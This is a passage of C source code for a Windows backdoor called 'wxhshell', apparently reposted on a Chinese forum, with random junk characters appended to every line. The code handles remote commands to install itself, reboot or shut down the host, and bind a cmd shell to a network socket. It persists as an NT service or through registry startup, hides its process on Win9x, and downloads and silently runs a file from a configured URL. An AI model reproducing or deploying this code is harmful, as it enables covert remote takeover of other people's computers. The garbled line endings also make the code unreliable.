  Z\c^CN  
  // 帮助 _$g6Mj]1z  
  case '?': { iZm# "}VG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4LO4SYW7  
    break; YW9r'{(D(I  
  } B8_)I.  
  // 安装 q% *-4GP  
  case 'i': { >ka*-8?  
    if(Install()) ~QzUQYG*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nK[T.?Nz  
    else PxE0b0eo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JWQd/  
    break; `TwDR6&  
    } YD>5zV%!D  
  // 卸载 ,t?c=u\5  
  case 'r': { "u^%~2  
    if(Uninstall()) f"i(+:la  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (OS -v~{r@  
    else /6S% h-#\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i;Y3pF0%P  
    break; tf<}%4G  
    } #x|xL7  
  // 显示 wxhshell 所在路径 / ,Unp1D  
  case 'p': { o^ Z/~N  
    char svExeFile[MAX_PATH]; Q5Yy \M  
    strcpy(svExeFile,"\n\r"); !'m MGxkEb  
      strcat(svExeFile,ExeFile); SUGB)vEa  
        send(wsh,svExeFile,strlen(svExeFile),0); kHMD5Q  
    break; p=13tQS<  
    } ^<u9I5?  
  // 重启 p>x[:*  
  case 'b': { (h&XtFul}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #WE"nh9f|z  
    if(Boot(REBOOT)) 8d4:8}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4sJM!9eb[  
    else { -o: if F|  
    closesocket(wsh); ly_@dsU'  
    ExitThread(0); Hg[g{A_G[  
    } NWL\"xp `t  
    break; 4 H 4W  
    } "!w$7|% T  
  // 关机 Jr2x`^aNO  
  case 'd': { (_2Iu%F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +`jI z'+  
    if(Boot(SHUTDOWN)) ahJ -T@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TTGk"2 Q'  
    else { "Sx}7?8AB  
    closesocket(wsh); WC0gJy  
    ExitThread(0); ]\TYVv)  
    } KH=4A-e,0  
    break; hKx*V"7/#\  
    } _.}1 Y,Q  
  // 获取shell :2v^pg|  
  case 's': { c qWX*&2_  
    CmdShell(wsh); S<Rl?El<=  
    closesocket(wsh); ^jph"a C  
    ExitThread(0); ioJ~k[T  
    break; {:@MBA 34  
  } ;pH&YBY  
  // 退出  iwiHw  
  case 'x': { ` @PHV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 40?xu#"  
    CloseIt(wsh); <q}w,XU  
    break; PJ$C$G  
    } !\'NBq,  
  // 离开 KCDbE6  
  case 'q': { LA +BH_t&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' \8|`Zb  
    closesocket(wsh); bh Nqj  
    WSACleanup(); f52*s#4}  
    exit(1); Ng Jp2ut  
    break; hwD;1n  
        } 6cQ)*,Q  
  } "J.7@\^ h/  
  } 7NQ@q--3s  
]'"aVGqa.  
  // 提示信息 5u:{lcC.X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Y'Kjx  
} /7`fg0A  
  } 'gD,H X  
1J{1>r  
  return; ?^X e^1(  
} ^i;y2c  
7RpAsLH=  
// shell模块句柄 'B"A*!" b  
int CmdShell(SOCKET sock) &x mYpQ  
{ G=VbEL^H  
STARTUPINFO si; {e/6iSpT  
ZeroMemory(&si,sizeof(si)); U=Hx&g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hyn*O)q!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K|a^<| S  
PROCESS_INFORMATION ProcessInfo; ;:`0:Ao.  
char cmdline[]="cmd"; 4tGP- L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5eL_iNqJM  
  return 0; Qnr7Qnb  
} H?H(=  
bP+b~!3  
// 自身启动模式 L_~vPp  
int StartFromService(void) ' K\ $B_  
{ d*cAm$  
typedef struct .[Hv/?L  
{ H)@f_pfj(  
  DWORD ExitStatus; qX_( M2oLU  
  DWORD PebBaseAddress; <H]1 6  
  DWORD AffinityMask; +G.F'  
  DWORD BasePriority; RZL:k;}5  
  ULONG UniqueProcessId; mI4)+8SUu  
  ULONG InheritedFromUniqueProcessId; r5s$#,O/&Q  
}   PROCESS_BASIC_INFORMATION; l2.L h<G  
Vi:<W0:  
PROCNTQSIP NtQueryInformationProcess; )a;ou>u  
KD(}-zUs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <\6<-x(H5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C)H1<Br7  
+\D?H.P  
  HANDLE             hProcess; "Vw;y+F}  
  PROCESS_BASIC_INFORMATION pbi; ]+)cXJ}6#  
%uUQBZ4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s9\HjK*+  
  if(NULL == hInst ) return 0; '*d);{D8  
CHGV1X,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xlHC?d0}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3[T<pAZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DtRu&>o_6D  
s0/[mAY  
  if (!NtQueryInformationProcess) return 0; Wf>P[6  
]A#K;AW{U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +jv&V%IL  
  if(!hProcess) return 0; M[}aQWT$v  
^DaP^<V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I<}<!.Bc!  
?E2$  
  CloseHandle(hProcess); F?jFFw im  
QVq+';cG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @TqqF:c7  
if(hProcess==NULL) return 0; ]hC6PKJU  
1 Vq)& N  
HMODULE hMod; pf%B  
char procName[255]; *y@Xm~ld  
unsigned long cbNeeded; sSdnH_;&  
c 0/vB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A])+Pe  
(;(P3h  
  CloseHandle(hProcess); g/_j"Nn  
^:Hx.  
if(strstr(procName,"services")) return 1; // 以服务启动 Yg<4}l."  
mAZfo53  
  return 0; // 注册表启动 P-25]-  
} KJQW))%e  
V W2+ Bs}  
// 主模块 jSKhWxL;'  
int StartWxhshell(LPSTR lpCmdLine) d:"#_  
{ 1{0 L~  
  SOCKET wsl; 6|HxBC#4  
BOOL val=TRUE; 5p]Cwj<u  
  int port=0; wiE'6CM  
  struct sockaddr_in door; DX\|*:,  
fvH4<c5x  
  if(wscfg.ws_autoins) Install(); \])-Bp ,  
ob(S/t  
port=atoi(lpCmdLine); lBN1OL[N  
\YN(rD-  
if(port<=0) port=wscfg.ws_port; L3s1a -K  
o)}M$}4  
  WSADATA data; X 8#Uk}/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f?P>P23  
\]7i-[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Gyw^_{J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %k8 H'w\  
  door.sin_family = AF_INET;  A&8{0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4 >2g&);B  
  door.sin_port = htons(port); -l2aAK1M  
J 6%CF2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dmq_jt  
closesocket(wsl); "$6 .L^9W  
return 1; a*GiLq  
} EH2a  
~;ZT<eCIA  
  if(listen(wsl,2) == INVALID_SOCKET) { D$&LCW#x  
closesocket(wsl); /jB 0  
return 1; >r8$vQGj  
} -]$=.0 l  
  Wxhshell(wsl); 4n 9c  
  WSACleanup(); qbZY[Q+F  
:3h'Hr  
return 0; = 3("gScUj  
}]K^b1Fs5  
} Ee0}Xv  
`= FDNOwp  
// 以NT服务方式启动 y'#i'0eeL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PrwMR_-  
{ -s5>GwZt  
DWORD   status = 0; 2"IsNbWV  
  DWORD   specificError = 0xfffffff; ~V`F5B  
%'vLkjI.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zh6 0b{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u ^}R]:n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  )o\U4t  
  serviceStatus.dwWin32ExitCode     = 0; pGHn   
  serviceStatus.dwServiceSpecificExitCode = 0; L32[IL|  
  serviceStatus.dwCheckPoint       = 0; 6f^q >YP  
  serviceStatus.dwWaitHint       = 0; [:Y`^iR.  
</@3}rfUPg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S1&Df%Ra  
  if (hServiceStatusHandle==0) return; Y [ p  
*v6 j7<H  
status = GetLastError(); r@v_hc  
  if (status!=NO_ERROR) YI!@ ,t  
{ 9@{=2 k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c!20(( 2|I  
    serviceStatus.dwCheckPoint       = 0; jDKL}x  
    serviceStatus.dwWaitHint       = 0; # qPWJ  
    serviceStatus.dwWin32ExitCode     = status; }bM=)eUfX  
    serviceStatus.dwServiceSpecificExitCode = specificError; fJ8Q\lb<_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KsR^:_e  
    return; DwBKqhu  
  } g]a5%8*{  
iF!r}fUU6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x=jS=3$8  
  serviceStatus.dwCheckPoint       = 0; ^`< %Pk  
  serviceStatus.dwWaitHint       = 0; XaH%i~}3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %*Aq%,.={  
} 8*[Q{:'.  
l2 [{T^  
// 处理NT服务事件,比如:启动、停止 (Ymj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GL- r;  
{ P{tH4V23T  
switch(fdwControl) 5uxB)Dx)  
{ ^+b ??K  
case SERVICE_CONTROL_STOP: tuWJj^  
  serviceStatus.dwWin32ExitCode = 0; 9X%H$>s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SRfnT?u6  
  serviceStatus.dwCheckPoint   = 0; JrhDqyk*  
  serviceStatus.dwWaitHint     = 0; klON6<w  
  { b8$(j2B~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V3] Z~@  
  } U) B^R  
  return; a-(OAzQ_  
case SERVICE_CONTROL_PAUSE: E>2~cC*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hnD=DLW $  
  break; <-avC/M$d  
case SERVICE_CONTROL_CONTINUE: h|Os T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v5Qp[O_  
  break; #G`UR  
case SERVICE_CONTROL_INTERROGATE: W]l&mr  
  break; :3$$PdZ  
}; ,MRAEa2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,.B#: 8  
} i{.%4tA4  
Qe,aIh  
// 标准应用程序主函数 ER4j=O#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $<QOMfY>  
{ fAHf}j  
{T2=bK~  
// 获取操作系统版本 fRT4,;  
OsIsNt=GetOsVer(); 0Xx&Z8E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KM o]J1o  
LRa^x44  
  // 从命令行安装 "pLWJvj6-  
  if(strpbrk(lpCmdLine,"iI")) Install(); B!X;T9^d  
F\U^-/0,  
  // 下载执行文件 ,ag:w<km  
if(wscfg.ws_downexe) { CpG]g>]L&[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =MCQNyf+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;kv/(veQ1<  
} [n!5!/g>j  
XI"8d.VR  
if(!OsIsNt) { K[/sVaPZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 [8OQ5}do/  
HideProc(); U`w `Cr  
StartWxhshell(lpCmdLine); 6^vseVx  
} Yj-JB  
else 5:W 5@e{  
  if(StartFromService())  WPnw  
  // 以服务方式启动 ay-M.J  
  StartServiceCtrlDispatcher(DispatchTable); Rz\:)<G  
else {~u#.(  
  // 普通方式启动 m?4L>'  
  StartWxhshell(lpCmdLine); brXLx +H8  
|'?./  
return 0; F\lnG  
}
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只看该作者 1 发表于: 2006-10-10
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